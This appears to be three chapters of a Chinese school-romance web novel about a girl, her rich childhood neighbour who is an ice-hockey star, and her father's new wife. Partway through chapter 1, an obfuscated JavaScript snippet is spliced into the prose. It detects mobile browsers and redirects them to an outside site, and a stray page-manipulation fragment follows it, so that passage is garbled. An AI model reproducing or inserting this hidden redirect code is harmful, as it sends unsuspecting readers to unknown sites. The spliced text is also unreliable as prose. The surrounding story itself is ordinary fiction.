《小青梅》 1. 第 1 章 程荔缘的妈妈并不是那种会起一大早给孩子做早饭的家长,闹钟响了三遍,她妈妈也没来敲她门。 程荔缘迷迷瞪瞪一个睁眼,掀开被子跳下床。 刷牙洗脸梳头,换衣服,七分钟搞定,程荔缘跑出来:“妈!你怎么不叫我!要迟到了!” 今天是周一,早会不能迟到。 扣个人分无所谓,扣班级分很严重。 程揽英正在阳台闭眼打八段锦,手机里飘出祥和音乐。 “搭腕,吸气,开弓,呼气……” 听到女儿狂呼,程揽英睁开眼:“哎唷,车送去保养了,我帮你叫个车。” 程荔缘皱巴起脸,没空多说,匆匆换鞋子,背着书包冲出门。 楼道宽敞,对门一户的防盗大门开了,门扇极厚,无猫眼,有摄像。 一个穿黑色大衣的男人走了出来,看着比实际年龄年轻很多,肩宽背直。 男人已经看到了她,程荔缘刹住脚步打了个招呼:“甘叔叔好。” 甘霸原点了点头,表情变化不大:“嗯,起晚了?” 等电梯上来这几秒,程荔缘作答两句,都是小孩子和大人聊天的口水话。 程揽英想带女儿去打车,披了外套,拿上钥匙跟了出来,看见甘霸原,很意外:“老甘?你怎么回来了。” 话刚脱口,觉得不妥,缓了语气:“芳君和衡衡呢,还好吧。” 甘霸原平淡地说:“还好,我送送孩子吧,今天老刘在。” 老刘是他家司机,以前两家人是邻居,程揽英和他妻子董芳君是大学同学和闺蜜。 程揽英没跟他客气,道了谢,一起下了电梯,看女儿直接上了甘霸原的车。 他们住的这个小区其实不差,在当年算高档,年代久了,设施老化,黯淡不少,住在这里的,不是养老的知识分子,就是贷款买二手学区房的中产家长。 程荔缘小时候,经常去甘家玩,后来甘家搬走了,去住了临海市最僻静的别墅区。 程荔缘记不清上次坐甘家的车是什么时候了。 座椅是真皮,凉凉的,通风系统安静,车内一点不闷,也没有一点皮革味。 她上车时喊了司机一声刘伯伯,就靠在后座窗边,盯着窗外流动的风景。 早高峰,车多人也多,程荔缘注意到,其他车离他们比正常距离要远。 可能是车标太显眼,也可能是车牌特殊。 她脑海里心不在焉掠过杂念,比如董阿姨怎么没回来,甘叔叔怎么一个人在这边过夜…… 甘霸原坐在另一边看文件,没过两分钟,开口问:“吃早饭了吗。” 程荔缘扭头:“啊,没吃,我到学校吃就可以了。” 甘霸原让老刘在一条小街停下,去买了点早餐,上车给了程荔缘一份:“我也没吃,正好一起了。” 程荔缘:“谢谢甘叔叔。” 甘霸原买的早餐是一家退休夫妻开的店,十多年了,程荔缘小学就经常吃,她咬了一口牛奶馒头,胃里暖暖的,还是原来的味道。 老刘对抄近路非常熟,开得平稳轻快,程荔缘算着时间,松了口气。 甘霸原合上文件:“听你阿姨说,甘衡和你在一个班?” 程荔缘:“是的,我们班主任是教数学的。” 甘霸原:“班上遇到什么事了,找甘衡就行,直接找我也行,你们没有吵架吧,他回来都没跟我说。” 程荔缘笑了两声:“没有没有,大家都挺好的,可能开学太忙了,马上要月考。” “嗯,有空过来玩,你们小时候玩特别好。”甘霸原还以为她和甘衡依然是过去两小无猜。 程荔缘笑着应和,渐渐找回了节奏。 甘霸原手机响了,他接了个电话。 程荔缘感觉到校裤下面硌着个东西,她用手摸了下,低头一看。 一支口红。 程荔缘放轻了动作,在死角看了看颜色和牌子。 不是董芳君用的,颜色非常年轻。 程荔缘把口红拨到了坐垫边缘,继续看窗外。 座驾驶入一条林荫道,道旁能看见不少三三两两的学生,都在往一个方向走。 车平稳减速,停在了路边,程荔缘拉了拉书包肩带,老刘按了下多媒体,门自动开了。 “噢,对了,帮我把这个给甘衡。”甘霸原想起了什么,从中控拿起一个小纸袋,递给程荔缘。 “好的。”程荔缘无法拒绝,只能接过纸袋,边下车边礼貌说,“甘叔叔再见,刘伯伯再见。” “再见。”“缘缘再见。” 车门自动合上,程荔缘顺着人流往前走,等确定她进了校门,车才缓缓驶离。 “荔圆儿!”背后响亮的一声,紧接着一条胳膊环上她肩膀,神清气爽问候,“刚到就看见你了。” 她同桌,黄秋腾。 “哇,刚刚那是你家车?”黄秋腾悄悄压低了声音,纯粹没想过程荔缘家里会这么有钱,顺口一问。 程荔缘摇头:“碰到认识的邻居叔叔,送了我一程。” 黄秋腾:“我也想有这种邻居!诶,你看前面是不是陈汐溪……” 她们身后一段距离,两个男生正在打量她们背影,诧异地小声说话。 “那车不是甘衡他家的吗,我记得上次他家开车来接他。” “那个女生你看清了没。” “没看清啊。说不定是一样的车,同款。” “车牌也同款啊?” “说不定是亲戚,学校有钱人很多……” “有钱的不都在隔壁启航?好多爬藤的就是通过启航爬成功的。” 无巧不成书,他们身后落后几步,就走着正主。 萧阙很自然地问:“那不是你家的车吗。程荔缘是你妹妹?” 甘衡平平淡淡地说:“我没妹妹,你闭嘴。” 萧阙没多问,一笑置之。 临江一中古老的白色大理石校门,校名校训,以黑色书法刻写,在阳光下清峻而闪烁,两边是高大绿荫。 作为教学新试点,临江一中和其他作风保守的全国重高都不一样,开放又创新,是很多人梦想的高中,穿着一中校服走在外面,都会不由自主抬头挺胸。 能考进这里的,都是中考佼佼者。 班主任马维站在门口,检查到教室的每个学生。 程荔缘和黄秋腾小跑过来了:“马老好。” 马维目光落在程荔缘和黄秋腾身上:“上周不是通知了,今天早会校服要穿西服。” 程荔缘:“啊。” 黄秋腾:“啊!” 马维:“我办公室有备用的几套,赶紧去换。” 程荔缘和黄秋腾跑上楼,气喘吁吁进了办公室,墙角桌子上堆放着多余的校服,程荔缘找了套合适的尺码,先递给黄秋腾,自己也拿了一套。 拿完她们就匆匆跑出去,程荔缘在前面,转过门口,猝不及防撞上个人。 对方一动没动,反作用力就撞得她趔趄后退,黄秋腾一把扶住她腰,她才没摔。 甘衡才高一,个子就让人望而生畏,修长挺拔,他低头看着程荔缘,脸上没什么情绪。 清早快八点的阳光是淡金色,落在他白衬衫的领子上,格外晃眼。 黄秋腾微微睁大眼睛,噤声。 甘衡出名到本区三校,不光颜值,运动和成绩都太牛了,现在网络发达,抖音和小红书一统天下,随时刷新出高中生活切片,点赞几十万到百万,连临海大学都有不少人知道他。 同班的人就算天天跟他一个教室,看着他还是有不真实感。 除非必要,比如发卷子收作业,班上没有女生主动和他搭话,都不想引起误会。 于是造成奇特现象,本班女生对甘衡态度都很正经,不怎么靠近他,反而外班的,其他年级的,光明正大围观,害羞远远暗恋的,都有。 黄秋腾属于班上大多数,对甘衡是敬而远之型。 程荔缘是个例,她好像自动把甘衡屏蔽了,对方就算在她眼皮子底下,也自动融入背景。 甘衡没有说话,也没有让开,他眼睫半垂,看不清目光。 程荔缘没跟他眼神接触,说了声“不好意思”,拉着黄秋腾绕开甘衡。 背影掠过一阵冷热交替的发麻,像有人注视,像是某种错误的幻觉。 早会开始,各年级各班在大操场集合。 女生是白衬衫百褶裙小皮鞋,男生是白衬衫西裤皮鞋,秋老虎天气,也没让大家穿外套,一个一个班列队站齐,旁边配个班主任,看着朝气蓬勃。 仪仗队戴着白手套护送国旗入场,伴随分列式进行曲。 今天有风,国旗很漂亮地猎猎展开,衬着淡蓝天空,程荔缘和其他人一样行注目礼。 她斜前方有个男生唱得特别激情大声,还自带美声混响,前后人忍不住想笑,都憋住了。 国歌唱完还有校歌,历史悠久,歌词像古诗,程荔缘持续忘词,企图蒙混过关,旁边经过一个负手踱步的班主任马维,距离特别近,刚好听到她那两句蚊子一样的萨满吟唱,侧头瞥了她一眼,眼里透出一种无言。 程荔缘:“……” 开学没两周,她在班主任那边印象分危。 校长发言无非是些激励,尤其是对高三生,讲完还有高三实验班代表发言,大家表面安静肃立,实则发呆神游。 “作为新时代的接力者,我校学子始终以行动书写担当,在刚刚结束的全国U18青少年冰球锦标赛中,我校高一一班班甘衡同学作为队长兼主力前锋,带领冰暴俱乐部,战胜各省市传统强队,勇夺总冠军!同时以单场表现荣获赛事最佳球员!下面,让我们用热烈的掌声,欢迎甘衡同学上台,讲述属于我们的成长故事。” 主持人清朗的声音划破暑气,满操场的人瞬间抬头,目光聚焦在台下那道安静伫立的修拔人影上。 主持人手势引导,甘衡礼貌地点了点头,侧影好像在发光。 学生们眼皮都不耷拉了,一眨不眨盯着甘衡走上台阶,短短两秒,空气安静得不像话。 马维站在男生那边,无声抬手,都不等他示意完,他们班率先爆发出掌声喝彩,很快带动其他班级,全校真心掌声雷动,还有不少响亮的口哨。 升旗台下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207321|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘衡站在那边,把整个场景映衬成一幅水彩插画。 全校只有一个人没看他。 程荔缘平视前方,目光落在天空,耳膜却无法阻止甘衡声音一句一句落入。 他声音充满少年感,柔和却并不温良,反而有种疏离旁观的凉气,没有任何替代性,光这把嗓子,哪怕不露脸也能循环不腻。 周围空气凝聚了众人无声心理活动。 都在想象这样一个人,在冰渣飞溅的赛场上,那样激烈冲撞,从事万众瞩目自带暴力的竞技体育。 甘衡的发言稿不长,讲学校和全国青少年体育健康促进协会合作,鼓励本校学生参加课外运动项目,报考哪所大学有优势,诸如此类。 最后,他深入浅出介绍了下冰球运动,“谢谢大家。”又是一阵如雷掌声。 和之前那位高三生发言不一样,所有人都目不转睛目送他下去,明显都很有后劲,接下去换校长讲话,所有人又开始周一综合症。 回教室路上,好些人在谈论甘衡,用词夸张,说他不仅是年级前几名,还是冰球特长生,高智商运动员,人类减速带。 黄秋腾挽着程荔缘的手,经过几个高二学姐,她们小声兴致勃勃,有一句没一句飘过来。 “……校服穿他身上才体现出了设计啊。” “他初中是宣平的,大家都以为他会去启航。”“听说校领导亲自去沟通的。” 大家边讨论,一边心情好转,真有实力还长得巨好看,和单纯长得帅不一样,那是全年龄向的地心引力,这样的人经过哪里,哪里都会被点亮,周围也染上明亮氛围。 总有一类人,他的青春是山顶风景。 死气沉沉的上课,染上一丝青春的喧嚣悸动。 “荔圆儿,你小学和初中都是宣平的吧。”黄秋腾说。 “嗯。” “那不跟甘衡一样吗,一个班?”黄秋腾惊喜。 “没有,不认识。”对同桌撒谎无伤大雅。 黄秋腾也只是普通好奇,问了这两句就没下文了。 他们回到班上,程荔缘拉开座位,她和黄秋腾坐最后一排。 前面是一个女生一个男生,陈汐溪和吴放,英语课代表和化学课代表。 吴放前面有个男生,萧阙,萧阙旁边就是甘衡。 程荔缘上课时,眼睛稍微一晃,就能看到甘衡的侧脸。 甘衡偶尔会转头和吴放讲话,他盯着吴放看,会自然地瞥到后方,这个后方笼罩着程荔缘的位置,他看人时压睫感很强,目光雾蒙蒙的,唇角礼貌。 程荔缘心如止水。 第一节科任老师进来了,程荔缘打开活页本,全神贯注听讲,人和人的后脑勺,对她来说,不再有任何区别。 中午,老师一句“下课”,教室里响彻椅子拖拉声,住读的奔去食堂抢饭了,走读的去校外吃。 程荔缘和黄秋腾去了趟洗手间,才慢慢往楼下走,一边说话。 走廊上,迎面而来几个人。 甘衡、萧阙,还有两个女生和一个男生,男生叫罗小鹏,女生是他姐姐罗珊珊,罗珊珊旁边的女生叫文心歌,白白瘦瘦,像校园剧女主角。 这几个人走在一起,穿着校服,好像在拍青春校园剧,其他学生都情不自禁多看两眼。 罗小鹏初中和萧阙关系很熟,也间接认识了甘衡,正在跟萧阙说话。 文心歌则走在甘衡旁边,跟他聊社团的一些事。 她望向甘衡的眼里有明亮闪烁的笑意,仿佛心生欢喜。 大厅有一面墙是玻璃墙,能照出人影,甘衡和文心歌走在一起,更吸引周围人视线。 有人频频回头看,还拿手机偷偷拍下一张。 “好般配啊……”拍的人感叹地把手机给朋友看。 “高一二班,班花。”“甘衡是一班的?”“哎别人的青春是青春,我的青春是刷题……” 很快,两拨人距离拉近,萧阙第一个看到了程荔缘她们。 高中社交比较微妙,在走廊上遇到同班同学,打不打招呼,要分情况。 这条走廊太窄,直接无视太生硬了,会显得没礼貌。 但他们并没有熟到能在走廊上随便打招呼。 萧阙一边听罗小鹏讲话,一边就主动朝程荔缘和黄秋腾点了点头,没有出声。 两女生都回了注目礼,也轻轻点了下头。 不幸的是,甘衡就在程荔缘左边,中间没隔着其他人。 距离,刚好够擦肩而过。 哪怕是陌生人,也会不可避免地看对方一眼。 甘衡目光转来的一刹那,程荔缘极自然地转向右边看黄秋腾:“你待会想吃什么?” 黄秋腾是个没心没肺的性格,立马被这个话题吸引了:“吃饭还是吃面?” 文心歌声音温柔,清晰和黄秋腾重叠:“你周末也会去训练吗……” 短短一秒,余光及时屏蔽,没有出现任何目光交汇,程荔缘安心得很,就像个擅长转弯避障的司机,两拨人也像反方向的列车,互相不回头。 青春就是刷题,这句座右铭不错,程荔缘心想,嘴角微微一笑。 2. 第 2 章 晚自习前,有一小会儿教室是空的,走廊贴墙一排标着号码的米色储物柜。 程荔缘打开自己柜子,走进教室,来到甘衡桌子前。 她没有弯腰,隔了一点点距离,把纸袋轻巧地扔了进去,非常准,也没发出碰撞。 “你在做什么?”背后响起个不含情绪的声音。 程荔缘动作停顿了半秒,不慌不忙转过去,就好像她其实在检查教室卫生。 甘衡站在她身后,这么大一只,不知道是怎么做到悄无声出没的。 近距离看,他给人冲击感更强,普通人和他对视,不是条件反射移开视线,就是脸红。 程荔缘从小看惯了那张脸,差不多免疫了,感谢身高差,让她只用看他胸口。 只要不抬头,她就看不见他什么表情。 见她不答,甘衡声音从头顶传来,磨着她的耳朵:“你在干什么。” 程荔缘一边侧身平移开,一边顺口回答:“早上遇到叔叔,他让我把这包东西给你。” 她头也不回往外走,教室门没有关,走廊有人经过,她不想被人看见在和全校瞩目的冰球生私下讲话。 甘衡小学就开始打冰球,是名副其实的年少天才。 拿过奖,寒暑假去海外集训,和少年们打比赛,打得对手心服口服,交了一大帮各种肤色背景的朋友,有段时间经常发ins,点赞量非常高,他的私教是NHL退役下来的一线,人脉很广,也会给他点赞。 学校远离是非,只有最朴实的日常,甘衡和普通学生一样,按时交作业,各种上课考试,课间闲聊,操场奔跑。 但在社交平台,他已经有了一批固定的关注者,很多是同龄人。 运动员追求极限,赛场输赢,都是血汗淬炼,在中学生心里,那种真实、热血、永不言弃的拼搏,就是他们自己每天都在经历的,高考也是没有硝烟的战场。 程荔缘太懂这样的吸引力了。 别的暂时不提。起码作为运动员,甘衡无可挑剔,也付出了努力和汗水。 初中时,他抽屉里的情书和礼物堆到地上都放不下,严重干扰正常教学秩序,学校专门发了通知,严禁各类追星行为,违者扣分处分,这才彻底消停。 程荔缘不想被误会成他的粉。 出了教学大楼,她松了口气,背上又泛起诡异的灼烧,仿佛隐秘盯视。 程荔缘回过头,身后空荡荡的,什么都没有。 她只当是错觉,三步跨下台阶,“快点!那家牛肉面人超多!”黄秋腾朝她招手。 这周打仗一样过去。 周考程荔缘发挥还行,属于中上,不出挑但稳,黄秋腾成绩比她好,可惜偏科,最差的是语文和政治,考试发挥忽上忽下。 “作文到底该怎么写。”黄秋腾侧头趴课桌上,程荔缘往她脑袋上摆了几个彩色回形针,然后在旁边按计算器,解一道错题。 “考试计算器没啥作用,”黄秋腾又缓缓转过头,“我知道。”程荔缘说。 “等等,你刚刚是不是按了个七乘以六……”“……” 两个人对视一秒,笑得埋下头,肩膀直抽抽,陈汐溪和吴放不约而同回头看她们,也莫名其妙跟着笑,越笑越凶。 他们四个平时经常聊天,每次陈汐溪回头说啥,吴放也要扭过头来听,四个人都被带同频了,没什么话题都能笑成一团。 萧阙回头瞥了他们一眼,看向旁边甘衡,甘衡正在做题,他听力很好,八百米外谁蛐蛐他一句,他都能听见,没理由听不见后面越憋越裂的笑声。 甘衡正好担任了班上的纪律委员。 老马觉得有这样一个全能优等生不用白不用,班上同学一看到他,作业也自动交了,晚自习也不说话了,仿佛个镇邪神兽。 四个人笑声有点大,附近同学也能听到,这节自习老师不在,其他人悄咪咪看过来,想看甘衡会怎么管。 因为甘衡从来没管过。 别的班,纪律委员是“不要吵”“安静!!”,班长和学习委员也会帮着喊“别吵”,结果此起彼伏的“安静”,反而最吵,隔壁班都能听见,被从后门经过的年级主任一顿骂。 甘衡不大一样,他当纪律委员,从来没出现过需要管纪律的情况。 他们班学习氛围一向浓厚,今天晚上是第一次有噪音打破安静。 甘衡没有停下笔,音量不大不小,语调平平。 “谁再笑,谁就是暗恋我。” 后面四个瞬间噤声,全班也鸦雀无声。 过了两秒,吭吭哧哧遏制不住的窃笑声,都被死死压在了喉咙里,没人想被第一个说你热恋甘衡。大家忍笑忍得很辛苦,空气针落可闻。 前门出现一个手捧双层保温玻璃杯的中年人,扫视了一遍教室:“老马的班纪律不错。”说完就走了。 他走了后,很多人再也忍不住,回头看着程荔缘、黄秋腾、陈汐溪和吴放四个人哧哧笑。 黄秋腾耳朵都红了,陈汐溪装作什么都没发生,吴放板着脸,坚决不落人把柄,程荔缘最云淡风轻,脸上一丝波动都没有。 经过这一个小风波,大家对甘衡心理距离拉近了不少。 高岭之草幽默一下,效果显著。 当本身就足够优秀的人做出些锦上添花的小举动时,会引发周围人过度的好感与关注,普通人就享受不了这样的放大效应了。 周五没有晚自习,校门附近全是放学的高中生,一个个脸上写着“终于解放了”,走读的一身轻,住校生拖着行李箱,回去装零食和牛奶,有的边走边看手机,被来接的家长接过行李,腾出手开始打游戏,屁股抬上车座,一边不忘跟路过的同学拜拜。 车流量缓慢,晚高峰地铁正挤,程荔缘和黄秋腾不急着回家,晃悠去附近书店看小说,陈汐溪也跟着她们一起。 明亮温馨的书店里,三个女生站一排书架前,津津有味挑着网文,说着哪本改编成剧了,好不好看。 “汐汐,你看这个封面好像你和吴放啊——”黄秋腾捂嘴笑个不停。 “哪里像!”“哈哈哈哈……”陈汐溪伸手挠黄秋腾胳肢窝。 程荔缘心情正好,手机振动,她看了一眼,没接。 手机振了一会儿挂了,接着又锲而不舍地响起。 书店安静,程荔缘眉头一皱,接了起来:“喂。” “荔缘,后天你奶奶过生,她之前生病了,想你去看看她,中午记得来。”是她父亲钱友让。 程荔缘面不改色:“知道了。” 大概没想到她答应的这么顺,对面还想再嘱咐点什么:“不用带礼物,楼下买点水果就行。” 程荔缘挂了电话。 陈汐溪走她左边,黄秋腾走她右边,一边一个挽着程荔缘,三个人连体婴一样说说笑笑走出书店,刚好和甘衡他们打了个照面。 萧阙、文心歌、罗小鹏和罗珊珊也都在。 两拨人这周第二次遇到。 “嗨。”“诶。” 萧阙主动让开位置,于是他旁边其他人也动了,让三个女生先走。 甘衡在上台阶的时候,目光就直直落在程荔缘脸上,黑白分明的眼睛里好像有针。 程荔缘只和他目光接触一秒就飘开了,也没出声,被陈汐溪和黄秋腾夹心饼干夹走了。 三个人走远了,陈汐溪才压低声音问:“我听说,文心歌好像喜欢甘衡,社团活动经常找他。” 黄秋腾:“太明显了。” 陈汐溪疑惑:“那她是想追甘衡吗,高中不让谈恋爱吧。” 黄秋腾:“我觉得甘衡不喜欢她。” 陈汐溪不信:“你怎么知道,男生都一样,看到漂亮的都没有抵抗力,二班的人说她成绩也不错,性格也很好。” 黄秋腾一脸老中医的神态:“你知道甘衡家里干什么的吗。” 陈汐溪:“干什么的?” 黄秋腾说了个临海市都知道的名字,然后说:“那是他家的。” 陈汐溪震惊了:“啊?不会吧!” 黄秋腾深深点头:“我也是听别人说的,他爸就是大股东……你看他平时用的东西……冰暴俱乐部本身,也有他家参股。” 陈汐溪:“那和恋爱有什么关系?” 黄秋腾:“这种家庭背景,不知道见过多少优秀完美的女生,眼光肯定不是一般的高。” 陈汐溪想了想:“也是,有钱人也想找真爱,真爱不是随便出现的。” 黄秋腾:“说不定人家有青梅竹马呢,门当户对那种,就在隔壁启航。” 程荔缘脑海里掠过一些过往碎片,弹钢琴的少女,矜持地看着她,对旁边的少年说了两句话,从打扮到气质,两个人看上去确实更像童年玩伴。 但这些画面已经不再具有任何意义,不到两秒,程荔缘就彻底忘了这回事。 回家后,她跟她妈妈说了奶奶过生的事。 程揽英一听就站起来,很干脆:“不去!我跟他打电话。” 程荔缘:“我有套书还在那边,正好去拿回来。” 程揽英:“什么书,妈妈重新给你买一套!” 程荔缘:“买不到,有签名的。”她知道程揽英在担心什么:“我就是去拿书,顺便吃顿饭,吃完就走。” 程揽英还是不干:“你一个小孩儿,去了肯定被欺负,要拿书我陪你去。” 程荔缘知道她妈很有脑子,当初和钱友让离婚时,钱友让一点没讨了好去,硬是被程揽英抓住把柄,成了过错方,只拿了车子,七成存款和房子最终也归了程揽英。 程荔缘:“好吧。” 晚上,程揽英临时接到了一个客户的电话,周六要去外地,一大早就要走。 程揽英收拾行李,不放心地说:“别点外卖,出去吃点好吃的,妈妈周日就回来了,有事打电话,妈妈发消息要及时回,他家那边就别去了。” 程荔缘答应了,第二天,钱友让打了个电话过来:“明天还是过来吧,你奶奶身体不好,生日就一年一次。” 周日上午,程荔缘还是过去了。 程荔缘没有跟程揽英说,她很在意那套书,万一时间长了,被有些人发现,不知道要糟蹋成什么样子。 按响了门铃,门开了,程荔缘露出得体的微笑:“二叔二婶,姑妈,妹妹。” “缘缘!好久不见了!”婶婶先过来招呼她,将她迎了进去,大家一阵寒暄。 “奶奶。”程荔缘把水果和一个礼盒放下了。 她奶奶坐在沙发上看电视,头发渐白,穿的很素雅,招手让她过去,把她打量一番。 “瘦了,别学那些人减肥。”“奶奶,我体重根本没变过。” 钱友让也过来了,他看着过得不错,气色好。衬衫和裤子应该是新买的。 程荔缘礼貌地叫了一声:“爸。” 钱友让:“开学适应得怎么样。” 程荔缘:“还行。” 钱美萍说:“缘缘从小就会读书,成绩一直不错,还考上了一中。”她奶奶一顿夸,姑妈婶婶都在附和 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钱友让有点欲言又止,看了看程荔缘,到底还是没开口,又看向他母亲。 钱美萍还是发话了,靠在按摩椅上叫程荔缘:“缘缘,你阿姨来了,让她坐那边,你过来坐。” 钱友让愣了愣,他原意是想让程荔缘多少招呼继母一声,没想到他母亲让程荔缘挪位置。 两中学生仿佛有什么默契,盯着手机屏幕,一起起身一旋,不约而同坐到了她们奶奶旁边,期间堂妹还不小心踩到婶婶拖鞋,“诶唷!”婶婶说。 于是招呼省了。 钱友让只好掠过这一层,扶着李婉铧坐下了。 “老公,我想吃芒果。”李婉铧对他说,那篮芒果正是程荔缘带来的。 钱友让于是去洗了芒果,切成块,上面插了牙签,摆一大盘,大家都可以吃。 “你孩子怀得不容易,”钱美萍慢慢说,“哪些水果不能吃,要搞清楚,芒果能吃吗?” 李婉铧一直在积极做试管,却总怀不上,这次怀上了,老年人过生日,也将就她,说不去外面吃,做合她口味的家常菜。 李婉铧:“妈,我查过了,酸性的不能吃,芒果能吃的。” 堂妹拿了牙签:“谢谢伯伯。”然后喂到程荔缘嘴里,扭头说:“爸,眼睛八百度了要。” 二叔头也不抬:“唔嗯。” 程荔缘说:“二叔还是这么喜欢看明朝那些事儿。” 堂妹:“我记得书架上有王母鬼宴!看不看!” 程荔缘点头,堂妹拉着她往书房跑,两小儿很自然地撇下一众大人。 菜还没好,大人只得继续等,姑妈回来了,有她在,气氛健谈了些。 钱友让趁谈话间隙,起身去了书房,看到她们,对程荔缘说:“缘缘,爸爸跟你说点事。” 程荔缘正好找到了她要带回去的那套书,点点头,放下东西,跟他去了阳台。 钱友让不管在家里,还是在外面,脸上表情都很教授,可能是工作习惯。 程荔缘也不开口,就看着他。 钱友让只能先说了:“有你甘叔叔的微信吗。” “没有。”程荔缘脸上表情没怎么变化,说的也是实话,她一个高中生,怎么可能有甘霸原的微信。 钱友让语气更缓了:“是这样,我手下有个年轻人,学历和能力都不错,大环境不好,找工作不太顺利,想找个稳定的平台发展,你甘叔叔有些资源,我没他私人电话,你帮爸爸联络下。” 程荔缘眨了眨眼:“李婉铧找不到工作?” 钱友让语塞,想说怎么能直接叫长辈名字,但这话也说不出口。 “干出那种事的时候,就不记得自己是长辈么。”他女儿当初诧异的表情,至今仍刺痛他。 大学教授就是这样点不好,做的事再不体面,也要尽量维持体面。 钱友让流露出一丝疲惫:“她需要这个机会。” 程荔缘:“哪家单位会录用孕妇啊。” 钱友让:“……”他自然不能说,是想先和甘霸原建立人脉,等以后托人帮忙,资源置换,才不显得冲突。 钱友让:“你有联系方式就先给我。” 程荔缘:“你去问我妈吧,她和董阿姨是闺蜜,甘叔叔那样的社会地位,我一个高中生去联系,他只会看轻你吧。” 程荔音量也没压着,隔着一个阳台,书房里堂妹肯定听得见。 钱友让深吸口气:“你以前不是和甘衡那孩子关系很好,那你把甘衡的微信给我,我去说。” 程荔缘面露诧异,好像非常惊讶,近似要笑了。 潜台词极其明显,就差写在空气里了。 钱友让最不愿意看见这个表情,久经锻炼的老脸也感觉轻微火烧。 旁边有脚步声过来了。 “老公,”李婉铧进了阳台,一脸息事宁人,“我不急着找工作,离生孩子还早,等生了孩子还要坐月子,饭好了,先吃饭吧……” 她一边轻声抱怨着,仿佛这些都是钱友让一个人的主意,扶着钱友让肩膀,推他出去了,也没看程荔缘。 程荔缘回到书房,堂妹和她交换一个无语的眼神,冲外面李婉铧的方向翻了个白眼。 回了客厅,程荔缘目光不经意扫过沙发,顿了顿。 她手机刚放着充电,位置有一点偏移。 换了座位后,离她手机最近的就是李婉铧。 3. 第 3 章 程荔缘手机息屏时间设置得很长,李婉铧动她手机可能性很大。 李婉铧曾经是钱友让带过的学生,出国留学了几年,靠家里关系回来任教,和钱友让重新成了同事,一场师生婚外恋,闹得人尽皆知,大学把她开了。 钱友让看真爱为了自己,丢了工作、背负骂名,内心愧疚,想用物质弥补。 巧的是,甘衡母亲董芳君也在这个大学,同样正高级职称,还是博导加学科带头人。 她是程揽英多年闺蜜,和程揽英一样底层奋斗上来,自然不待见钱友让和李婉铧,直接切断了社交联系。 清楚内情的领导们,也婉拒了李婉铧和她父母送的人情礼,表示不是不想帮忙,是帮忙的代价太大。 开玩笑,人家董教授的爱人是谁。 临海市混得拔尖的,哪个没听说过甘家,一路世代簪缨,民国也出了几个赫赫有名的人物,族谱能追溯到明代。 他们家分成了两支,一支为官一支经商,甘霸原经年投资,拓张商业版图,上过全球福布斯榜,用的不是本家的姓,不妨碍资源共通。 反正领导们得罪不起。 甘董的夫人不喜欢谁,就算不主动整对方,对方也会四处碰壁。 于是李婉铧在临海市内一圈好大学都找不到工作。 可淹死她的洪水,也能成为托举她青云志的好风。 只要能在甘霸原那边留下好印象,化解了这场矛盾,李婉铧能比之前混得更风生水起。 钱友让愧疚,李婉铧比他更急。 小时候一直去甘衡家玩,接触了很多人情世故,每天听董芳君和程揽英闲坐聊天,程荔缘把其中关窍都想通透了。 她去了洗手间,关上门,点开本地行为记录工具。 这个工具能记录屏幕点击、应用打开时间等,生成日志文件。 看了微信点击记录,还有截屏记录,程荔缘嘴角微微抽搐。 李婉铧截屏了甘衡的微信二维码。 通讯录,G开头的列表,某头像静静躺在第一个,也是最后一个。 红框,上面有TIME字样,戴白色面具的人,眼孔凝视镜头。 面具覆盖了整个头颅前方,表面光滑,挖有圆孔,位置对称,中线部分隆起,下缘长过下巴,切割线条干净锋利,正面绝对防御,不可穿透。 眼孔空洞,抹去个人特征,带来幽灵般非人的压迫感。 防护与暴力,神性和恐惧。 程荔缘仿佛又回到了那个房间,坐在地上,对方并肩和她分享好玩的东西,声音柔和清澈,有点变声期的低哑。 “……Bernie Parent,费城飞人队,1975年2月24日,季后赛MVP,我收藏了这期,你看是不是很酷。” 小少年的声音情绪明显,他高兴的时候,声音会比较愉悦,没有平时那么毒舌。 十一岁的程荔缘不想说错话,就点了点头,希望他保持久一些。 程荔缘眨眨眼,回过神,点进头像,聊天界面异常干净,因为清空过。 李婉铧截屏了甘衡的微信号,想也知道要干什么。 没想到她再次和甘衡在微信上聊天的契机,会是这个。 程荔缘手指悬停在那个使徒一样的头像上,心想她真是傻了,根本不用和甘衡聊啊。 程荔缘果断打了董芳君的电话。 “喂,董阿姨,是我……”程荔缘简单把事情解释了下。 董芳君听完很意外。 “这个人怎么好意思的,”涵养不允许她说太过,唯声音听得出喜怒,“别担心,岑岑不会加陌生人,你奶奶家是不是在新年广场那边?” “是的。”岑岑是甘衡的小名,他爷爷给他取了字,孟岑。 程荔缘再听到这个小名,恍惚感觉是上个世纪的事了。 “阿姨刚好在这边跟人喝茶,待会来接你。” 董芳君知道程揽英出差去了,很关心程荔缘,程荔缘推拒不了,跟董芳君约了个时间。 吃饭时,桌子是大圆桌,她左边是婶婶右边是堂妹,倒和二叔一家像一家四口。 姑妈给奶奶戴了生日皇冠,大家一起唱生日歌,吹蜡烛,许愿,拍照,流程走完就两点了,老人家回卧室睡午觉,保姆麻利地收拾残局,姑妈和婶婶在聊天,二叔在扫地拖地。 程荔缘把自己的书放进包里,依次去跟长辈道别,钱美萍没有多留她,只叮嘱:“你李阿姨怀了孩子,如果她来惹你,不要跟她起冲突,找我,找你姑妈叔叔都行,等她生完再说罢。” 程荔缘:“好的奶奶,我知道。” 儿媳妇对婆婆来说,其实都一样,但钱美萍不是那种老糊涂的,不会对孙女说“再怎么样你不能不喜欢她”,也不会说,“她生的孩子是你弟弟或妹妹”。 在程荔缘心里,钱友让已经不是“父亲”了,而是一个生物学上和她有血缘关系的人,仅此而已。 她走到楼下花坛,看了看时间,后面响起一声:“缘缘,等一下。” 程荔缘回过头,钱友让和李婉铧居然一起下来了。 程荔缘表情淡定,看着他们。 钱友让拿出一个鼓鼓的红包,走到她面前:“买点喜欢的东西,或者跟同学出去玩。” 